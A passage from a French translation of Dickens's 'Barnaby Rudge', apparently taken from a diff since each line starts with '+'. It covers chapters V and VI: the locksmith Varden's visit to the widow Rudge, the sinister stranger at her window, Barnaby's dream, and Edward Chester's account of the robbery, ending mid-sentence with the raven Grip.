+Sachant par expérience ce que cette requête voulait dire, le
+triumvirat dut se dissoudre. Dolly alla faire exécuter en toute
+hâte les ordres de sa mère; Gabriel monta dans sa carriole pour
+aller dehors vaquer à quelque affaire, et Sim retourna à sa
+besogne journalière dans l'atelier, toujours avec ses gros yeux
+fixes, quoique le pain de quatre livres restât derrière lui sur la
+table.
+
+Que dis-je? ses gros yeux grossirent encore, et, lorsqu'il eut
+noué son tablier, ils étaient gigantesques. Ce ne fut pas avant de
+s'être plusieurs fois promené de long en large, les bras croisés,
+en faisant les plus grandes enjambées qu'il pouvait faire, et
+d'avoir écarté à coups de pied une foule de menus objets, que ces
+lèvres commencèrent à onduler. Enfin une sombre dérision parut sur
+ses traits, et il sourit, et en même temps il proféra avec un
+mépris suprême le monosyllabe «Joe!»
+
+«Je l'ai joliment fascinée avec mon oeillade pendant qu'il parlait
+de ce garçon, dit-il; voilà naturellement ce qui l'a rendue si
+confuse... Joe!»
+
+Il se repromena de long en large plus vite encore, et, s'il est
+possible, avec de plus grandes enjambées; s'arrêtant quelquefois
+pour regarder un peu ses jambes, quelquefois pour éjaculer avec un
+geste terrible un autre «Joe!» Au bout d'un quart d'heure ou
+environ, il reprit le bonnet de papier, et il essaya de
+travailler. Non, il ne pouvait venir à bout de rien faire.
+
+«Je ne ferai rien aujourd'hui dit M. Tappertit en jetant par terre
+son ouvrage, que repasser. Je vais repasser tous les outils. Le
+métier de rémouleur va mieux à mon humeur. Joe!»
+
+Whir-r-r-r. La meule fut bientôt en mouvement, on vit jaillir une
+pluie d'étincelles: c'était l'occupation qu'il fallait à son
+esprit effervescent.
+
+Whir-r-r-r-r-r.
+
+«Ça ne se passera pas comme ça! dit M. Tappertit, s'arrêtant d'un
+air de triomphe et essuyant sur sa manche sa figure échauffée Ça
+ne se passera pas comme ça. Je désire qu'il n'y ait pas de sang
+répandu.»
+
+Whir-r-r-r-r-r-r-r.
+
+
+
+
+CHAPITRE V.
+
+
+Aussitôt qu'il eut terminé les affaires du jour, le serrurier
+sortit seul pour visiter le gentleman blessé et s'assurer des
+progrès de son rétablissement. La maison où il l'avait laissé
+était dans une rue détournée de Southwark non loin de London-
+Bridge, et ce fut là qu'il se dirigea de toute sa vitesse, bien
+décidé à s'y arrêter le moins possible et à revenir se coucher de
+bonne heure.
+
+La soirée était tempétueuse presque autant que celle de la veille.
+Un homme solide comme Gabriel avait de la peine à rester sur ses
+jambes au coin des rues ou à tenir tête au vent, qui se montrait
+parfois le plus fort et le repoussait en arrière de quelques pas
+ou, malgré toute son énergie, le forçait de s'abriter sous une
+voûte à l'entrée de quelque maison, jusqu'à ce que la bourrasque
+eût épuisé sa furie. De temps en temps un chapeau ou une perruque,
+ou l'un et l'autre arrivaient en filant et roulant, en gambadant
+devant lui follement, tandis que le spectacle plus sérieux de
+tuiles et d'ardoises qui tombaient, ou de masses de brique ou de
+mortier ou de morceaux de pierres de couronnement qui résonnaient
+sur le trottoir tout à côté de lui, et se brisaient en mille
+éclats n'augmentait pas le charme de son expédition, et ne rendait
+pas la route moins effrayante.
+
+«Ce n'est pas amusant, pour un homme de mon âge, de faire une
+visite par une telle soirée! dit le serrurier en frappant
+doucement à la porte de la veuve. J'aimerais mieux être dans
+l'encoignure de la cheminée du vieux John, ma parole!
+
+-- Qui est là?» demanda du dedans une voix de femme. On lui
+répondit; elle ajouta vite un mot de bienvenue, et la porte fut
+promptement ouverte.
+
+Cette femme avait environ quarante ans, peut-être deux ou trois
+ans de plus, une physionomie riante et une figure qui autrefois
+avait été jolie. Elle portait des traces d'affliction et
+d'inquiétude, mais des traces déjà anciennes; le temps les avait
+lissées. Quiconque n'avait accordé par hasard qu'un simple coup
+d'oeil à Barnabé aurait reconnu que cette femme était sa mère.
+Leur ressemblance était frappante; mais là où le visage du fils
+offrait l'égarement et le vide de la pensée, il y avait chez la
+mère ce calme patient qui est le résultat de longs efforts et
+d'une paisible résignation.
+
+Une seule chose, dans sa figure, était étrange et saisissante.
+Vous ne pouviez pas la regarder, au milieu de son humeur la plus
+joyeuse, sans la reconnaître capable, à un degré extraordinaire,
+d'exprimer la terreur. Ce n'était point à la surface. Ce n'était
+pas non plus particulièrement dans un de ses traits; vous ne
+pouviez prendre ni les yeux, ni la bouche, ni les lignes de la
+joue, et dire en les détaillant que cela tenait à quelqu'un d'eux
+pris à part. Il y avait plutôt, dans l'ensemble, je ne sais où, en
+embuscade, quelque chose qu'on ne voyait jamais que d'une manière
+obscure, mais qui était toujours là sans s'absenter jamais une
+minute. C'était l'ombre la plus faible, la plus fugitive, de
+quelque regard, expression soudaine, enfantée sans doute par un
+moment rapide d'intense et inexprimable horreur; mais, si vague et
+faible que fût cette ombre, elle faisait deviner ce que cette
+expression avait dû être, et la fixait dans l'esprit comme l'image
+d'un mauvais rêve.
+
+Plus faible, plus chétive, manquant de force et d'énergie, pour
+ainsi dire, à raison des ténèbres de son intelligence, la même
+empreinte s'était gravée dans la physionomie du fils. Si on avait
+vu cela dans un portrait, on aurait demandé la légende, on
+n'aurait pu regarder la toile sans être obsédé par une curiosité
+pénible. Les personnes qui connaissaient l'histoire du Maypole, et
+se souvenaient de ce qu'était la veuve avant l'assassinat de son
+mari et de son maître, n'avaient pas besoin d'explication. Outre
+la façon dont la malheureuse avait changé, on se rappelait que,
+quand son fils était né, le jour même où l'on avait su la nouvelle
+du double meurtre, il portait sur son poignet une marque semblable
+à une tache de sang mal effacée.
+
+«Dieu vous garde! voisine, dit le serrurier, en la suivant de
+l'air d'un vieil ami dans une petite salle à manger où brillait un
+bon feu.
+
+-- Et vous pareillement, répondit-elle avec un sourire. C'est
+votre excellent coeur qui vous a ramené ici. Rien ne peut vous
+retenir chez vous, je le sais de longue date s'il y a des amis à
+servir ou à consoler au dehors.
+
+-- Fi! Fi! répliqua le serrurier en se frottant les mains et les
+réchauffant. Voilà bien les femmes! il ne leur faut pas
+grand'chose pour jaser. Comment va le malade, voisine?
+
+-- Il dort maintenant. Il a été très agité vers le jour, et
+pendant quelques heures il s'est tourné et retourné
+douloureusement; mais la fièvre l'a quitté, et le médecin dit
+qu'il sera bientôt guéri. Défense de le transporter avant demain.
+
+-- Il a eu des visites aujourd'hui, hein? dit Gabriel avec
+finesse.
+
+-- Oui, M. Chester père est resté ici depuis que nous l'avons
+envoyé prévenir, et il ne faisait que de partir quand vous avez
+frappé.
+
+-- Pas de dames? dit Gabriel en haussant les sourcils, et d'un air
+désappointé.
+
+-- Une lettre, reprit la veuve.
+
+-- Allons! ça vaut mieux que rien! cria le serrurier. Qui en était
+porteur?
+
+-- Barnabé, naturellement.
+
+-- Barnabé est un bijou! dit Varden. Il va et vient à son aise là
+où nous autres, qui nous croyons plus raisonnables que lui,
+serions fort embarrassés d'en faire autant. Il n'est pas à courir
+encore, j'espère?
+
+-- Dieu merci, il est dans son lit. Comme il a été debout toute la
+nuit, vous savez et toute la journée sur pied, il était rompu de
+fatigue. Ah! voisin, si je pouvais seulement le voir plus souvent
+aussi tranquille, si je pouvais seulement dompter cette terrible
+inquiétude!
+
+-- Cela viendra, dit le serrurier avec bonté; cela viendra. Ne
+vous laissez pas abattre. Je trouve qu'il gagne en raison chaque
+jour.»
+
+La veuve secoua la tête; et, cependant, bien qu'elle sût que le
+serrurier cherchait à l'encourager, et qu'il ne parlait pas ainsi
+de conviction, elle éprouvait de la joie à entendre même cet éloge
+de son pauvre benêt de fils.
+
+«Il finira par faire un homme d'esprit, continua le serrurier.
+Prenez garde que, quand nous deviendrons de vieux radoteurs,
+Barnabé ne nous fasse la nique. Je ne vous dis que ça. Mais notre
+autre ami, ajouta-t-il en regardant sous la table et autour du
+plancher, le plus fin matois de tous les matois, où donc est-il?
+
+-- Dans la chambre de Barnabé, répliqua la veuve avec un sourire
+languissant.
+
+-- Ah! c'est celui-là qui est un rusé compère, dit Varden en
+secouant la tête. Je serais bien fâché de parler de choses
+secrètes devant lui. Ah! c'est ça un fameux gaillard. Je parie
+qu'il pourrait lire, écrire et compter, s'il voulait s'en donner
+la peine. Qu'est-ce que j'entends là? N'est-ce pas lui qui tape à
+la porte?
+
+-- Non, répondit la veuve; c'était dans la rue, je pense. Écoutez!
+oui. Encore ce bruit. Il y a quelqu'un qui frappe doucement au
+volet. Qui ce peut-il être?»
+
+Ils avaient parlé à voix basse, car le malade était couché au-
+dessus; et, comme les murs et les plafonds étaient minces et
+légèrement bâtis, le son de leurs voix aurait, sans cette
+précaution, troublé son sommeil. La personne qui frappait, quelle
+qu'elle fût, avait pu se tenir fort près du volet sans rien
+entendre; et voyant la lumière à travers les fentes, sans aucun
+bruit, elle avait bien pu croire qu'il n'y avait là qu'une seule
+personne.
+
+«Quelque brigand de voleur, peut-être, dit le serrurier. Donnez-
+moi la lumière.
+
+-- Non, non, répondit-elle précipitamment: de tels visiteurs ne
+sont jamais venus à ce pauvre logis. Restez ici. Je suis toujours
+à même de vous appeler en cas de besoin. Je préfère y aller seule.
+
+-- Pourquoi? dit le serrurier, laissant à contrecoeur la chandelle
+qu'il avait prise de dessus la table.
+
+-- Parce que, je ne sais pourquoi, mais c'est plus fort que moi,
+répondit-elle. On frappe encore; ne me retenez pas, je vous en
+supplie.»
+
+Gabriel la regarda, grandement étonné de voir une personne
+d'ordinaire si calme et si tranquille en proie à une pareille
+agitation, et pour si peu de chose. Elle quitta la chambre et
+ferma la porte derrière elle. Un moment elle resta là, comme si
+elle hésitait, sa main sur la serrure. Dans ce court intervalle il
+y eut encore un petit coup donné; et une voix tout près de la
+fenêtre, une voix dont le souvenir parut réveiller chez lui des
+idées désagréables, chuchota: «Dépêchez-vous.»
+
+Ces mots furent prononcés à voix basse, mais distinctement, de
+cette voix qui arrive si vite aux oreilles de ceux qui dorment, et
+qui les réveille en sursaut. Un instant cela fit tressaillir le
+serrurier; il se recula involontairement de la fenêtre et écouta.
+
+Le vent grondant lourdement dans la cheminée ne lui permit pas
+trop d'entendre ce qui se passa; mais il aurait affirmé que la
+porte de la rue avait été ouverte, que le pas d'un homme avait
+fait craquer le plancher, puis qu'il y avait eu un moment de
+silence, silence interrompu par quelque chose d'étouffé, qui
+n'était ni un cri perçant, ni un gémissement, ni un appel au
+secours, et qui cependant aurait pu être tout cela également; et
+les mots: «Mon Dieu!» prononcés d'une voix qu'il n'avait pas
+entendue sans un frisson.
+
+Il s'élança aussitôt dehors. Enfin il la vit, cette terrible
+expression, celle qu'il connaissait si bien, pour l'avoir devinée,
+sans l'avoir vue auparavant sur la figure de la veuve. Elle était
+là debout, comme gelée sur le sol, les yeux effarés, les joues
+livides, chaque trait d'une fixité lugubre, à regarder l'homme
+qu'il avait rencontré dans la sombre nuit de la veille. Les yeux
+de cet homme se croisèrent avec ceux du serrurier. Ce ne fut qu'un
+éclair, un instant, un souffle sur une glace polie, et il n'était
+plus là.
+
+Le serrurier allait l'atteindre; il avait presque saisi les pans
+de sa redingote flottante, quand ses bras furent étroitement
+serrés par la veuve, qui se jeta sur le pavé devant lui.
+
+«De l'autre côté! de l'autre côté! cria-t-elle. Il a pris de
+l'autre côté. Revenez! revenez!
+
+-- De l'autre côté! je le vois maintenant, répondit le serrurier,
+là-bas; voici son ombre qui passe où est cette lumière. Que fait
+cet homme? Qui est-il? Laissez-moi courir après lui.
+
+-- Revenez! revenez! s'écria la femme, luttant avec lui et
+l'étreignant dans ses bras. Ne le touchez pas, au nom de votre
+salut. Je vous en adjure, revenez! Il emporte d'autres vies que la
+sienne. Revenez!
+
+-- Que voulez-vous dire?
+
+-- Inutile de savoir ce que je veux dire. Ne demandez rien, n'en
+parlez plus, n'y pensez plus. Il ne faut pas qu'on le suive, qu'on
+lui fasse obstacle, qu'on l'arrête. Revenez!»
+
+Le vieillard la regarda tout ébahi, au moment où elle se tordait
+pour s'attacher à lui; et, vaincu par sa douleur impétueuse, il se
+laissa entraîner dans la maison. Ce ne fut pas avant d'avoir mis
+la chaîne, fermé la porte à double tour, assuré chaque verrou et
+chaque barre avec l'ardeur furieuse d'une folle, et l'avoir tiré
+en arrière dans la chambre, qu'elle dirigea de nouveau sur lui ce
+regard de statue, plein d'horreur, et que, s'affaissant sur une
+chaise, elle se couvrit la figure et frissonna comme si la main de
+la mort était sur elle.
+
+
+
+
+CHAPITRE VI.
+
+
+Étonné à l'excès des événements qui s'étaient passés avec tant de
+rapidité et de violence, le serrurier contempla cette femme qui
+frissonnait sur sa chaise, de l'air d'un homme hébété; il l'aurait
+contemplée beaucoup plus longtemps, si la compassion et l'humanité
+n'eussent délié sa langue.
+
+«Vous êtes malade, dit Gabriel. Laissez-moi appeler quelque
+voisine.
+
+-- Non, pour tout au monde, répondit-elle en lui faisant signe de
+sa main tremblante et tenant sa figure encore détournée. C'est
+bien assez que vous vous soyez trouvé ici pour voir cela.
+
+-- Oui, plus qu'assez; c'est trop ou trop peu, dit Gabriel.
+
+-- Soit, répliqua-t-elle. Comme vous voudrez. Pas de questions, je
+vous en supplie.
+
+-- Voisine, dit le serrurier après une pause, est-ce beau, est-ce
+raisonnable, est-ce juste envers vous-même? Est-ce digne de vous,
+qui me connaissez depuis si longtemps et m'avez demandé conseil
+pour toutes sortes de choses? digne de vous, à qui j'ai connu
+l'esprit vigoureux et le coeur ferme quand vous n'étiez encore
+qu'une enfant?
+
+-- J'en ai eu grand besoin, répondit-elle. Je vieillis à la fois
+par les années et par les inquiétudes. C'est peut-être là une trop
+rude épreuve qui m'a énervé le coeur et affaibli l'esprit. Ne me
+parlez pas.
+
+-- Comment puis-je voir ce que j'ai vu, et me taire? répartit le
+serrurier. Quel était cet homme, et pourquoi sa venue a-t-elle
+produit en vous ce changement?»
+
+Elle demeura silencieuse, mais se cramponna à la chaise comme pour
+s'empêcher de choir par terre.
+
+«Je m'autorise d'une ancienne connaissance, Marie, dit le
+serrurier, car j'ai toujours eu la plus vive affection pour vous,
+et peut-être ai-je essayé de vous le prouver quand ça m'a été
+possible. Quel est cet homme de mauvaise mine, et qu'a-t-il à
+faire avec vous? Quel est ce fantôme qu'on ne voit que par les
+nuits les plus noires et par de mauvais temps? Comment connaît-il
+et pourquoi vient-il hanter cette maison, chuchotant à travers les
+fentes et les crevasses, comme s'il y avait entre lui et vous
+quelque chose dont ni l'un ni l'autre n'oserait parler tout haut?
+Qui est-il?
+
+-- Vous avez bien raison de dire qu'il hante cette maison,
+répliqua la veuve d'une voix languissante. Son ombre a plané sur
+elle et sur moi dans la lumière et dans les ténèbres, à midi et à
+minuit. Et maintenant, enfin, le voilà revenu en chair et en os.
+
+-- Mais il ne serait pas parti en chair et en os, répliqua le
+serrurier avec quelque irritation, si vous aviez laissé libres mes
+bras et mes jambes. Quelle énigme est ceci?
+
+-- C'en est une, répondit-elle, et en même temps elle se leva, qui
+doit rester à jamais une énigme. Je n'ose pas vous en dire
+davantage.
+
+-- Vous n'osez pas! répéta le serrurier confondu de surprise.
+
+-- Ne me pressez point. Je suis malade et faible, et toutes mes
+facultés vitales semblent mortes au dedans de moi. Non! ne me
+touchez point non plus.»
+
+Gabriel, qui s'était avancé de quelques pas pour la secourir,
+recula lorsqu'elle fit cette exclamation précipitée, et la regarda
+en silence avec un profond étonnement.
+
+«Laissez-moi aller seule, dit-elle à voix basse, et que les mains
+d'un honnête homme ne touchent pas les miennes ce soir.» Quand
+elle eut marché en chancelant vers la porte, elle se retourna, et
+ajouta avec un violent effort: «N'oubliez pas que ceci est un
+secret qu'il faut, de toute nécessité, que je confie à votre
+honneur. Vous êtes un homme sûr. Comme vous avez toujours été bon
+et affectueux pour moi, gardez-le. Si vous entendez quelque bruit
+là-haut, excusez mon absence; imaginez quelque prétexte; dites
+n'importe quoi, sauf ce que vous avez vu en réalité, et que jamais
+un mot, un regard entre nous, ne rappelle cette circonstance. Je
+me fie à vous. Songez-y, je me fie à vous. Et jusqu'où va ma
+confiance en vous, jamais vous ne pourriez le concevoir.»
+
+Fixant ses yeux sur lui un instant, elle s'éloigna et le laissa
+seul dans la chambre.
+
+Gabriel, ne sachant que penser, se tenait debout, l'oeil fixé sur
+la porte; son visage était plein d'étonnement et d'épouvante. Plus
+il méditait sur ce qui venait de se passer, moins il pouvait y
+donner quelque explication favorable. Trouver cette femme veuve,
+dont la vie avait été supposée pendant tant d'années une vie de
+solitude et de retraite, et qui, par sa paisible résignation à ses
+douleurs, avait gagné l'estime et le respect de tous ceux qui la
+connaissaient, la trouver liée mystérieusement avec un homme
+sinistre, s'alarmant de son apparition, et pourtant l'aidant à
+s'échapper, c'était une découverte qui le peinait autant qu'elle
+l'effrayait. La pleine confiance qu'elle venait de montrer dans sa
+discrétion, et le consentement tacite qu'il y avait donné,
+augmentaient la détresse de son esprit. S'il eût parlé hardiment,
+s'il eût persisté à la questionner, s'il l'eût retenue quand elle
+s'était levée pour quitter la chambre, s'il eût fait une
+protestation quelconque, au lieu de se compromettre lui-même par
+son silence, comme il sentait bien s'être compromis, il aurait été
+plus à son aise.
+
+«Pourquoi lui ai-je laissé dire que c'était un secret et qu'elle
+me le confiait? dit Gabriel en mettant sa perruque sur un côté de
+sa tête pour se gratter d'une manière plus commode, et regardant
+le feu avec tristesse. Je n'ai pas plus de présence d'esprit que
+le vieux John lui-même. Pourquoi ne lui ai-je pas dit d'un ton
+ferme: «Vous n'avez pas le droit d'avoir de pareils secrets, et je
+vous somme de me dire ce que cela signifie?» au lieu de rester
+bouche béante devant elle, comme un vieil imbécile que je suis!
+Mais c'est bien là mon faible. Je sais, au besoin, résister
+obstinément à des hommes; mais des femmes peuvent, quand elles le
+veulent, me rouler autour de leurs doigts comme le fil de leurs
+quenouilles.»
+
+Il ôta tout à fait sa perruque en faisant cette réflexion, chauffa
+au feu son mouchoir, et commença de s'en frotter et polir sa tête
+chauve, jusqu'à ce qu'elle redevînt luisante.
+
+«Et cependant, dit le serrurier que calmait cette douce opération
+et qui s'arrêta pour sourire, ce n'est peut-être rien. Quelque
+braillard d'ivrogne qui s'efforçait d'entrer dans la maison; il
+n'en faudrait pas davantage pour alarmer une âme aussi tranquille
+que la sienne. Mais alors (et cette pensée le tourmentait),
+comment se fait-il que ce soit cet homme? comment se fait-il qu'il
+ait cette influence-là sur elle? comment se fait-il qu'elle l'ait
+aidé à m'échapper? et plus que tout cela, comment se fait-il
+qu'elle ne m'ait pas dit que c'était une peur soudaine, et rien de
+plus?» Triste chose que d'avoir en une minute à se défier d'une
+personne qu'on connaît depuis si longtemps, et d'une ancienne
+bonne amie, par-dessus le marché; mais le moyen de ne pas le
+faire, lorsque tout cela vous frappe l'esprit!... «Est-ce Barnabé
+qui arrive là?
+
+-- Oui! cria-t-il en jetant un regard dans la chambre et faisant
+un signe de tête. Sans doute, c'est Barnabé. Comment l'avez-vous
+deviné?
+
+-- Par votre ombre, dit le serrurier.
+
+-- Hoho! cria Barnabé en lançant, un coup d'oeil par-dessus son
+épaule, elle est bon enfant, cette ombre, de s'attacher à moi,
+quoique je ne sois qu'un insensé. Quel joyeux compagnon! Nous
+sautons, nous nous promenons, nous courons, nous gambadons si bien
+sur l'herbe ensemble! Quelquefois il est la moitié aussi haut
+qu'un clocher d'église, et quelquefois pas plus grand qu'un nain.
+Tantôt il va devant, tantôt derrière, et tout de suite il se
+dérobe avec adresse; le voilà par ici, le voilà par là; s'arrêtant
+lorsque je m'arrête, et croyant que je ne peux pas le voir,
+quoique j'aie l'oeil sur lui, bel et bien. Ah! c'est un joyeux
+compagnon. Dites-moi, est-il insensé aussi?... Je crois qu'il
+l'est.
+
+-- Pourquoi? demanda Gabriel.
+
+-- Parce qu'il ne se lasse jamais de se moquer de moi. Il ne fait
+que cela tout le long de la journée... Pourquoi ne venez-vous pas?
+
+-- Où?
+
+-- Là-haut. Il vous demande. Restez... À propos; et lui, où est
+son ombre? Voyons. Vous qui êtes un homme raisonnable, dites-moi
+ça.
+
+-- À côté de lui, Barnabé, à côté de lui, je suppose, répondit le
+serrurier.
+
+-- Non, répliqua-t-il en secouant la tête. Devinez encore.
+
+-- Elle est allée se promener, peut-être bien?
+
+-- Il a changé d'ombre avec une femme, chuchota l'idiot à son
+oreille, et puis il recula d'un air de triomphe. Son ombre à elle
+est toujours avec lui, et son ombre à lui toujours avec elle.
+C'est un jeu, je pense, hein?
+
+-- Barnabé, dit le serrurier d'un air grave, venez ici, mon
+garçon.
+
+-- Je sais ce que vous voulez me dire. Je sais! répliqua-t-il en
+s'éloignant de lui. Mais je suis un malin, je me tais. Je ne vous
+dis qu'une chose: Êtes-vous prêt?»
+
+En achevant ces mots, il saisit la lumière, et l'agita sur sa tête
+avec un rire égaré.
+
+-- Doucement, bellement, dit le serrurier, déployant toute son
+influence pour le maintenir calme et paisible. Je croyais que vous
+étiez allé dormir.
+
+-- Voilà comme je dormais, répondit-il les yeux démesurément
+ouverts. Il y avait de grandes figures allant et venant, tout près
+de ma figure, et ensuite, un mille plus loin, des endroits bas à
+travers lesquels il fallait ramper, bon gré mal gré; de hautes
+églises du faîte desquelles il fallait tomber; une foule
+d'étranges créatures se pressant les unes contre les autres de la
+tête aux pieds pour s'asseoir sur le lit. C'est dormir cela, hein?
+
+-- Des rêves, Barnabé, des rêves, dit le serrurier.
+
+-- Des rêves! répéta-t-il doucement en s'approchant de lui. Ce ne
+sont pas des rêves.
+
+-- Qu'est-ce donc, répliqua le serrurier, si ce ne sont pas des
+rêves?
+
+-- Je rêvais, dit Barnabé, en passant son bras dans le bras de
+Varden et en regardant de fort près sa figure, tandis qu'il lui
+chuchotait sa réponse. Je rêvais précisément tout à l'heure que
+quelque chose (cela avait la forme d'un homme) me suivait, venait
+sans bruit derrière moi, ne voulait pas me laisser, mais était
+toujours à se cacher et à se tapir, comme un chat, dans des coins
+noirs, et à attendre mon passage; alors cela sortait en rampant et
+cela venait sans bruit derrière moi. M'avez-vous jamais vu courir?
+
+-- Plus d'une fois, vous le savez bien.
+
+-- Jamais vous ne m'avez vu courir comme je l'ai fait dans ce
+rêve. Cela se mit à ramper encore pour me harceler: plus près,
+plus près, plus près. Je courus plus vite, je sautai, je m'élançai
+hors du lit, et vers la fenêtre, et là dans la rue en bas. Mais il
+nous attend. Venez-vous?
+
+-- Quoi! dans la rue en bas, cher Barnabé?» dit Varden,
+s'imaginant découvrir quelque rapport entre cette vision et ce qui
+s'était passé tout à l'heure.
+
+Barnabé le regarda fixement, marmotta des paroles incohérentes,
+agita de nouveau la lumière sur sa tête, rit, et serrant le bras
+du serrurier contre le sien d'une manière plus étroite le
+conduisit à l'étage supérieur en silence.
+
+Ils entrèrent dans une chambre à coucher des plus simples, garnie
+de quelques chaises dont les pieds en fuseau donnaient la date de
+leur naissance. Le reste de l'ameublement n'avait pas grande
+valeur; mais il était tenu avec beaucoup de propreté.
+
+Dans une bergère devant le feu, pâle et affaibli par une perte de
+sang considérable, était penché Édouard Chester, le jeune
+gentleman qui avait le premier quitté le Maypole, durant la soirée
+précédente. Il tendit la main au serrurier, et lui souhaita la
+bienvenue comme à son sauveur et à son ami.
+
+«Ne me remerciez pas davantage, monsieur, ne me remerciez pas
+davantage, dit Gabriel. J'en aurais fait au moins autant,
+j'espère, pour n'importe qui dans une position si critique, et à
+plus forte raison pour vous, monsieur. Il y a de par le monde
+certaine demoiselle, ajouta-t-il avec quelque hésitation, qui a
+été plus d'une fois pleine de bonté pour nous, et naturellement
+nous en avons de la reconnaissance. J'espère, monsieur, que ce que
+je dis là ne vous offense pas.»
+
+Le jeune homme sourit et secoua la tête; il fit en même temps un
+mouvement sur sa chaise comme s'il eût souffert.
+
+«Ce n'est presque rien, dit-il en réponse au regard d'intérêt du
+serrurier: un pur malaise qui provient au moins autant de l'ennui
+d'être claquemuré ici que de ma légère blessure ou du sang que
+j'ai perdu. Veuillez vous asseoir, monsieur Varden.
+
+-- Si ce n'est pas trop hardi de ma part, monsieur Édouard, de
+m'appuyer sur votre fauteuil, répliqua le serrurier, faisant comme
+il disait et se penchant par-dessus lui, je resterai debout; ce
+sera plus commode pour parler bas. Barnabé n'est pas dans son
+humeur la plus calme ce soir, et en pareil cas la conversation ne
+lui fait jamais de bien.»
+
+Tous deux jetèrent un coup d'oeil sur l'objet de cette
+observation. Il avait pris un siège de l'autre côté du feu, et
+avec son sourire insignifiant s'occupait à emmêler sur ses doigts
+un écheveau de fil.
+
+«Je vous prie, monsieur, de me raconter exactement, dit Varden en
+parlant plus bas encore, ce qui vous est arrivé hier soir. J'ai
+des motifs pour m'en informer. Quand vous quittâtes le Maypole,
+vous étiez seul?
+
+-- Et je poursuivis seul ma route vers la maison, jusqu'à ce que
+je fusse parvenu à l'endroit où vous m'avez trouvé. Là j'entendis
+le galop d'un cheval.
+
+-- Derrière vous? dit le serrurier.
+
+-- Oui, en effet, derrière moi. C'était un cavalier seul, qui
+bientôt m'atteignit, et, arrêtant son cheval, me demanda la route
+de Londres.
+
+-- Vous étiez sur vos gardes, monsieur, sachant qu'une foule de
+voleurs de grands chemins bat le pays dans toutes les directions?
+dit Varden.
+
+-- J'étais sur mes gardes, mais je n'avais qu'une cravache, ayant
+eu l'imprudence de laisser mes pistolets dans leurs fontes au fils
+de l'aubergiste. J'indiquai à ce cavalier son chemin. Avant que
+mes paroles fussent sorties de mes lèvres, il se précipita sur moi
+d'un élan furieux, comme s'il eût voulu me fouler à terre sous les
+sabots de son cheval. En me jetant de côté, je glissai et je
+tombai. Vous m'avez ramassé là avec ce coup de poignard et une ou
+deux vilaines contusions, et sans ma bourse, dans laquelle il aura
+trouvé peu de chose pour ses peines. Et maintenant, monsieur
+Varden, ajouta-t-il en donnant au serrurier une poignée de main,
+sauf toute l'étendue de ma gratitude envers vous, vous en savez
+autant que moi.
+
+-- Si ce n'est, dit Gabriel en se penchant encore davantage, et
+regardant avec précaution leur silencieux voisin, si ce n'est en
+ce qui concerne le voleur lui-même. À quoi ressemblait-il,
+monsieur? Parlez bas, s'il vous plaît. Barnabé n'y entend pas
+malice; mais je l'ai observé plus souvent que vous, et je sais,
+quoique vous ne le supposiez guère, qu'il nous écoute en ce
+moment.»
+
+Il fallait une extrême confiance dans la véracité du serrurier,
+pour faire croire à n'importe qui ce qu'il avançait là: car tous
+les sens et toutes les facultés de Barnabé paraissaient absorbés
+par son écheveau de fil, à l'exclusion de tout autre objet. Le
+jeune homme en laissa percer quelque chose sur sa figure, car
+Gabriel lui répéta ce qu'il venait de dire, et avec plus
+d'insistance que la première fois; puis, lançant un nouveau coup
+d'oeil vers Barnabé, il demanda de nouveau au blessé à quoi
+ressemblait l'homme.
+
+«La nuit était si sombre, dit Édouard, l'attaque fut si soudaine,
+il était tellement enveloppé, emmitouflé, que je pus à peine
+établir une ressemblance. Je trouve que...
+
+-- Ne le nommez pas, monsieur, interrompit le serrurier en suivant
+son regard vers Barnabé; je sais qu'il l'a vu. J'ai besoin de
+savoir ce que vous avez vu, vous.
+
+-- Tout ce que je me rappelle, dit Édouard, c'est que quand il
+arrêta son cheval, son chapeau fut enlevé par un coup de vent. Il
+le rattrapa et le remit sur sa tête; je remarquai qu'elle était
+ceinte d'un foulard noir. Il y a un étranger qui est entré au
+Maypole pendant que j'y étais; je ne l'ai pas vu, parce que je me
+tenais à l'écart pour des raisons personnelles; et, lorsque je me
+levai afin de quitter la salle, et que je jetai un regard autour
+de moi, il était dans l'ombre de la cheminée, et caché à mes yeux.
+Mais, si cet étranger et le voleur étaient deux personnes
+différentes, leurs voix avaient une ressemblance extraordinaire:
+car, sitôt que l'homme m'adressa la parole sur la route, je
+reconnus son accent et son langage.
+
+-- C'est bien ce que je craignais. L'homme même qui était là ce
+soir, pensa le serrurier, en changeant de couleur. Quelle
+ténébreuse affaire que tout ceci?
+
+-- Halloa! lui cria aux oreilles une voix rauque. Halloa, halloa,
+halloa! Coa, coa, coa. Qu'est-ce que c'est que ça! Halloa!»
+
+L'interlocuteur qui fit tressaillir le serrurier, comme si c'eût
+été quelque être surnaturel, était un grand corbeau qui s'était
+perché au sommet de la bergère, sans être vu de Varden ou Édouard,
+et qui écoutait, avec une attention polie et la plus singulière
+prétention de comprendre chaque mot, tout ce qui avait été dit
+jusqu'à ce moment, tournant sa tête de l'un à l'autre, comme s'il
+était appelé là pour juger leur cas, et qu'il fût de la dernière
+importance qu'il ne perdît pas un mot de l'affaire.
+
+«Regardez-le, dit Varden, partagé entre son admiration pour
+l'oiseau et une sorte de crainte qu'il semblait en avoir. Avez-
+vous jamais vu un lutin plus rusé? Oh! c'est un terrible compère!»
+
+Le corbeau, dont la tête était toute penchée d'un côté, et dont
+l'oeil étincelait comme un diamant, garda un silence pensif
+pendant quelques secondes; puis il répliqua, d'une voix si rauque
+et si lointaine qu'elle paraissait plutôt venir à travers son
+épais plumage que de son bec et de son gosier:
+
+«Halloa, halloa, halloa! Qu'est-ce que c'est? Allons, courage.
+N'aie pas peur. Coa, coa, coa. Je suis un démon, je suis un démon,
+je suis un démon. Hourra!»
+
+Et alors, comme si son rôle infernal le transportait de bonheur,
+il se mit à siffler.
+
+«Je crois, ma parole d'honneur, qu'il sait ce qu'il dit. Je vous
+jure que je le crois, reprit Varden. Voyez-vous de quelle façon il
+me regarde, comme s'il savait aussi ce que je viens de dire?»
+
+À cela l'oiseau, se balançant en quelque sorte sur la pointe du
+pied, et remuant son corps en haut et en bas comme pour une espèce
+de danse grave, repartit: «Je suis un démon, je suis un démon, je
+suis un démon,» et fit battre ses ailes contre ses flancs, comme
+s'il crevait de rire. Barnabé claqua des mains et se roula tout
+bonnement sur le plancher dans un accès d'enthousiasme et de joie.
+
+«D'étranges camarades, monsieur! dit le serrurier en secouant la
+tête, tandis que son regard allait de l'un à l'autre. C'est
+l'oiseau qui a tout l'esprit.
+
+-- Étranges vraiment! dit Édouard, présentant son doigt au
+corbeau, qui, en reconnaissance de ce geste amical, plongea
